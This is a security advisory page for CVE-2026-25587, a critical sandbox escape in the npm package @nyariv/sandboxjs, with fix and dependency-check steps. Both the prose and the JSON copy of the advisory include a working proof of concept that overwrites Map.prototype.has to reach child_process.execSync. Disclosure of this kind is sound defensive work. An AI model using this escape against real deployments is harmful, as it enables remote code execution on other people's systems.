CVE-2026-25587: @nyariv/sandboxjs @nyariv/sandboxjs Has A Sandbox Escape Vulnerability

CRITICAL
Advisory Identifier: GHSA-66h4-qj4x-38xp
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CVSS 10.0
CWE-94 CWE-74
Published
Advisory Summary

CVE-2026-25587 is a CRITICAL (CVSS 10.0) @nyariv/sandboxjs has a sandbox escape vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves @nyariv/sandboxjs has a sandbox escape vulnerability. Remediation is available by upgrading affected packages to version 0.8.29.

CVE-2026-25587 at a Glance

CVE Identifier CVE-2026-25587
GHSA Identifier GHSA-66h4-qj4x-38xp
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product @nyariv/sandboxjs
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-25587

To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nyariv/sandboxjs fixed: 0.8.29 
npm install @nyariv/sandboxjs@0.8.29
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls @nyariv/sandboxjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-25587, inspect your project dependencies using npm:

npm ls @nyariv/sandboxjs

Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.29), your application is affected.

Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary As `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped. ### Details This is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__` (`let` was used during testing), it turns out the `let` implementation is bugged: ```js let a = Map.prototype; console.log(a) // undefined ``` ```js const a = Map.prototype; console.log(a) // Object [Map] {} ``` ```js let a = 123; console.log(a) // 123 ``` ```js const a = 123; console.log(a) // 123 ``` ### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` const m = Map.prototype; m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );`; sb.compile(payload)().run(); ``` ### Impact Able to set `Map.prototype.has` -> RCE

CVE-2026-25587 Affected @nyariv/sandboxjs Versions

1 component(s)
Fixed Versions:
0.8.29
Product / Package Ecosystem Affected Versions Fixed Version
@nyariv/sandboxjs
npm/@nyariv/sandboxjs
npm
< 0.8.29
0.8.29

References

GitHub Advisory / Wiki ADVISORY
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp
NVD — CVE-2026-25587 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-25587
Security Fix Commit FIX COMMIT
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
@nyariv/sandboxjs Source Repository REPOSITORY
https://github.com/nyariv/SandboxJS

Frequently Asked Questions

What is CVE-2026-25587?
CVE-2026-25587 is a security vulnerability in @nyariv/sandboxjs involving @nyariv/sandboxjs has a Sandbox Escape vulnerability under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which @nyariv/sandboxjs versions are affected?
Affected versions include releases prior to 0.8.29 across affected packages: @nyariv/sandboxjs.
What version fixes CVE-2026-25587?
Upgrading to 0.8.29 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nyariv/sandboxjs affected?
Yes, @nyariv/sandboxjs is affected in releases prior to 0.8.29. Upgrade your dependency to 0.8.29 or later.
What is the CVSS score of CVE-2026-25587?
CVE-2026-25587 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-25587?
CVE-2026-25587 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-25587?
Run the dependency tree command: 'npm ls @nyariv/sandboxjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-66h4-qj4x-38xp",
  "modified" : "2026-02-06T21:42:54Z",
  "published" : "2026-02-05T21:05:59Z",
  "aliases" : [ "CVE-2026-25587" ],
  "summary" : "@nyariv/sandboxjs has a Sandbox Escape vulnerability",
  "details" : "### Summary\n\nAs `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped.\n\n### Details\n\nThis is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__`  (`let` was used during testing), it turns out the `let` implementation is bugged:\n\n```js\nlet a = Map.prototype;\nconsole.log(a) // undefined\n```\n\n```js\nconst a = Map.prototype;\nconsole.log(a) // Object [Map] {}\n```\n\n```js\nlet a = 123;\nconsole.log(a) // 123\n```\n\n```js\nconst a = 123;\nconsole.log(a) // 123\n``` \n\n### PoC\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst m = Map.prototype;\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nAble to set `Map.prototype.has` -> RCE",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.29"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.28"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25587"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-05T21:05:59Z",
    "nvd_published_at" : "2026-02-06T20:16:10Z"
  }
}